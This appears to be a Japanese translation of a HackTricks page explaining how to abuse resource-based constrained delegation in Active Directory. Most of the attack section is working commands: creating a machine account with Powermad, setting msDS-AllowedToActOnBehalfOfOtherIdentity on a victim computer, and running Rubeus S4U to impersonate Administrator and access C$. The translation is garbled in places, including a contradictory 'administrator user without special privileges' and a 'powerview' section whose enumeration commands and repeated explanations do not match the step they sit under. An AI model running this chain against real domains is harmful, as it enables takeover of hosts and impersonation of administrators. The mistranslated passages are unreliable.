# リソースベースの制約付き委任
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
## リソースベースの制約付き委任の基礎 これは、基本的な[制約付き委任](constrained-delegation.md)と似ていますが、**オブジェクトに対して任意のユーザーをなりすます権限を与える**代わりに、リソースベースの制約付き委任では、**オブジェクトに対して任意のユーザーをなりすますことができるユーザー**を設定します。 この場合、制約付きオブジェクトには、_**msDS-AllowedToActOnBehalfOfOtherIdentity**_という属性があり、それに対して任意の他のユーザーをなりすますことができるユーザーの名前が記載されています。 この制約付き委任と他の委任とのもう一つの重要な違いは、**マシンアカウントに対して書き込み権限**(_GenericAll/GenericWrite/WriteDacl/WritePropertyなど)を持つ任意のユーザーが_**msDS-AllowedToActOnBehalfOfOtherIdentity**_を設定できることです(他の委任の形式では、ドメイン管理者特権が必要でした)。 ### 新しい概念 制約付き委任では、ユーザーの_userAccountControl_値の中にある**`TrustedToAuthForDelegation`**フラグが**S4U2Self**を実行するために必要であると言われていました。しかし、それは完全な真実ではありません。 実際には、その値がなくても、**サービス**(SPNを持っている)であれば、**任意のユーザーに対してS4U2Self**を実行することができます。ただし、**`TrustedToAuthForDelegation`**を持っている場合、返されるTGSは**Forwardable**になりますが、そのフラグを持っていない場合、返されるTGSは**Forwardable**ではありません。 ただし、**TGS**が**Forwardable**でない場合、**基本的な制約付き委任**を悪用しようとしても**機能しません**。しかし、**リソースベースの制約付き委任を悪用**しようとする場合は機能します(これは脆弱性ではなく、機能のようです)。 ### 攻撃の構造 > **コンピュータ**アカウントに**書き込みに相当する特権**がある場合、そのマシンで**特権アクセス**を取得できます。 攻撃者が既に**被害者コンピュータ**に対して**書き込みに相当する特権**を持っていると仮定します。 1. 攻撃者は、**SPN**を持つアカウントを**侵害**するか、**作成**します("Service A")。注意:**特別な特権を持たない**_管理者ユーザー_でも、最大で10個の**コンピュータオブジェクト(MachineAccountQuota)**を作成し、それらにSPNを設定することができます。したがって、攻撃者は単にコンピュータオブジェクトを作成し、SPNを設定することができます。 2. 攻撃者は、被害者コンピュータ(ServiceB)に対する**書き込み特権**を悪用して、**リソースベースの制約付き委任を設定**し、ServiceAがその被害者コンピュータ(ServiceB)に対して**任意のユーザーをなりすます**ことを許可します。 3. 攻撃者はRubeusを使用して、Service AからService Bへの**完全なS4U攻撃**(S4U2SelfおよびS4U2Proxy)を実行します。この攻撃は、Service Bに特権アクセスを持つユーザーに対して行われます。 1. S4U2Self(侵害/作成されたアカウントのSPNから):**AdministratorのTGSを自分に要求**します(Forwardableではない)。 2. S4U2Proxy:前のステップでの**ForwardableでないTGS**を使用して、**Administratorから被害者ホスト**への**TGS**を要求します。 3. ForwardableでないTGSを使用している場合でも、リソースベースの制約付き委任を悪用しているため、機能します。 4. 攻撃者は**チケットを渡す**ことができ、ユーザーを**なりすまして被害者のServiceBにアクセス**できます。 ドメインの_**MachineAccountQuota**_を確認するには、次のコマンドを使用できます: ``` Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota ``` ## 攻撃 ### コンピュータオブジェクトの作成 ドメイン内でコンピュータオブジェクトを作成することができます。[powermad](https://github.com/Kevin-Robertson/Powermad)を使用します。 ```csharp import-module powermad New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` ![](../../.gitbook/assets/b1.png) ```bash Get-DomainComputer SERVICEA #Check if created if you have powerview ``` ### R**esource-based Constrained Delegationの設定** **activedirectory PowerShellモジュールを使用する** ```bash Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked ``` **powerviewを使用する** ```plaintext Get-DomainUser -TrustedToAuth ``` このコマンドは、信頼された認証を受けるユーザーの一覧を取得します。これにより、制約付き委任の潜在的な攻撃対象を特定することができます。 ```plaintext Get-DomainComputer -TrustedToAuth ``` このコマンドは、信頼された認証を受けるコンピューターの一覧を取得します。これにより、制約付き委任の潜在的な攻撃対象を特定することができます。 ```plaintext Get-DomainGroup -TrustedToAuth ``` このコマンドは、信頼された認証を受けるグループの一覧を取得します。これにより、制約付き委任の潜在的な攻撃対象を特定することができます。 ```plaintext Get-DomainUser -TrustedToAuth | Get-DomainObjectAcl -ResolveGUIDs | ?{$_.ObjectType -match 'computer'} | select IdentityReference,ActiveDirectoryRights,InheritanceFlags,IsInherited,ObjectType | ft -AutoSize ``` このコマンドは、信頼された認証を受けるユーザーの一覧を取得し、関連するACL情報を表示します。これにより、制約付き委任の潜在的な攻撃対象を特定することができます。 ```plaintext Get-DomainComputer -TrustedToAuth | Get-DomainObjectAcl -ResolveGUIDs | ?{$_.ObjectType -match 'user'} | select IdentityReference,ActiveDirectoryRights,InheritanceFlags,IsInherited,ObjectType | ft -AutoSize ``` このコマンドは、信頼された認証を受けるコンピューターの一覧を取得し、関連するACL情報を表示します。これにより、制約付き委任の潜在的な攻撃対象を特定することができます。 ```plaintext Get-DomainGroup -TrustedToAuth | Get-DomainObjectAcl -ResolveGUIDs | ?{$_.ObjectType -match 'user'} | select IdentityReference,ActiveDirectoryRights,InheritanceFlags,IsInherited,ObjectType | ft -AutoSize ``` このコマンドは、信頼された認証を受けるグループの一覧を取得し、関連するACL情報を表示します。これにより、制約付き委任の潜在的な攻撃対象を特定することができます。 ```bash $ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} #Check that it worked Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity' msds-allowedtoactonbehalfofotheridentity ---------------------------------------- {1, 0, 4, 128...} ``` ### 完全なS4U攻撃の実行 まず、パスワード`123456`を持つ新しいコンピュータオブジェクトを作成しましたので、そのパスワードのハッシュが必要です: ```bash .\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local ``` これにより、そのアカウントのRC4およびAESハッシュが表示されます。\ さて、攻撃を実行できます: ```bash rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /aes128: /rc4: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt ``` Rubeusの`/altservice`パラメータを使用して、一度の要求で複数のチケットを生成することができます。 ```bash rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt ``` {% hint style="danger" %} ユーザーには「**委任できない**」という属性があります。ユーザーがこの属性をTrueに設定している場合、彼をなりすますことはできません。このプロパティはBloodhound内で確認できます。 {% endhint %} ![](../../.gitbook/assets/B3.png) ### アクセス 最後のコマンドラインは、**完全なS4U攻撃を実行し、TGSを管理者から被害者ホストに**インジェクトします。\ この例では、管理者から**CIFS**サービスのTGSが要求されたため、**C$**にアクセスできます。 ```bash ls \\victim.domain.local\C$ ``` ![](../../.gitbook/assets/b4.png) ### 異なるサービスチケットの悪用 [**ここで利用可能なサービスチケットについて学ぶ**](silver-ticket.md#available-services)。 ## Kerberosエラー * **`KDC_ERR_ETYPE_NOTSUPP`**: これは、KerberosがDESまたはRC4を使用しないように設定されており、あなたが単にRC4ハッシュを提供していることを意味します。少なくともAES256ハッシュをRubeusに提供してください(または単にrc4、aes128、aes256ハッシュを提供してください)。例:`[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())` * **`KRB_AP_ERR_SKEW`**: これは、現在のコンピュータの時刻がDCの時刻と異なっており、Kerberosが正常に動作していないことを意味します。 * **`preauth_failed`**: これは、指定したユーザ名+ハッシュがログインに使用されていないことを意味します。ハッシュを生成する際にユーザ名に"$"を入れ忘れた可能性があります(`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)。 * **`KDC_ERR_BADOPTION`**: これは次のことを意味する場合があります: * あなたがなりすますことを試みているユーザは、望ましいサービスにアクセスできない(なりすますことができないか、十分な特権を持っていないため) * 要求されたサービスが存在しない(winrmのチケットを要求するが、winrmが実行されていない場合など) * 作成されたfakecomputerが脆弱なサーバー上で特権を失い、それを戻す必要がある ## 参考文献 * [https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) * [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/) * [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object) * [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション * [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 * **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。